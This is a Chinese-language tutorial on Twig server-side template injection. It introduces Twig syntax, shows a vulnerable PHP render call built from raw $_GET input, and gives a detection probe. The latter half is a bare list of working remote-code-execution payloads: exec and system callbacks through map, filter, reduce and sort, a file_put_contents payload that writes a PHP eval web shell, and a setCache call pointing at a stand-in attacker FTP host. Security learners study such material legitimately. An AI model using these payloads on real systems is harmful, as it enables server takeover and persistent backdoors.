Twig 模板引擎注入(SSTI)详解

1. Twig 基础介绍

Twig 是一个 PHP 模板引擎，由 Symfony 开发人员创建，具有以下特点：

PHP 代码：

<?php echo $var ?>
<?php echo htmlspecialchars($var, ENT_QUOTES, 'UTF-8') ?>

Twig 等价代码：

{{ var }}
{{ var|escape }}
{{ var|e }} {# shortcut to escape a variable #}

{{ foo.bar }} 或 {{ foo['bar'] }}
{% set variable_name = value %}

{{ name|striptags|title }}  {# 链式操作 #}
{{ list|join(', ') }}      {# 带参数 #}
{% apply upper %}...{% endapply %}

{% for user in users %}
  <li>{{ user.username|e }}</li>
{% endfor %}

基础模板 base.html.twig：

<html>
<head>
  <title>{% block title %}{% endblock %}</title>
</head>
<body>
  {% block body %}{% endblock %}
</body>
</html>

子模板：

{% extends 'base.html.twig' %}
{% block title %}ikun{% endblock %}
{% block body %}jijijiji{% endblock %}

开发者使用未严格过滤的用户输入直接渲染模板：

$twig = new Twig_Environment($loader);
echo $twig->render("attack {$_GET['hacker']}");

输入测试载荷：

hacker=Mic{# comment #}{{2*8}}OK

如果输出包含计算后的结果（如16），则存在SSTI漏洞。

存在三个全局变量：

{{_self.env.setCache("ftp://attacker.net:xxxx")}}
{{_self.env.loadTemplate("恶意模板名")}}

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

{{["ls"]|map("system")}}
{{{"<?php @eval($_POST['attack']);?>":"文件地址"}|map("file_put_contents")}}

{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}

{{[0, 0]|reduce("system", "id")}}

{{["id", 0]|sort("system")}}

$twig->render('template.html', ['var' => $user_input]);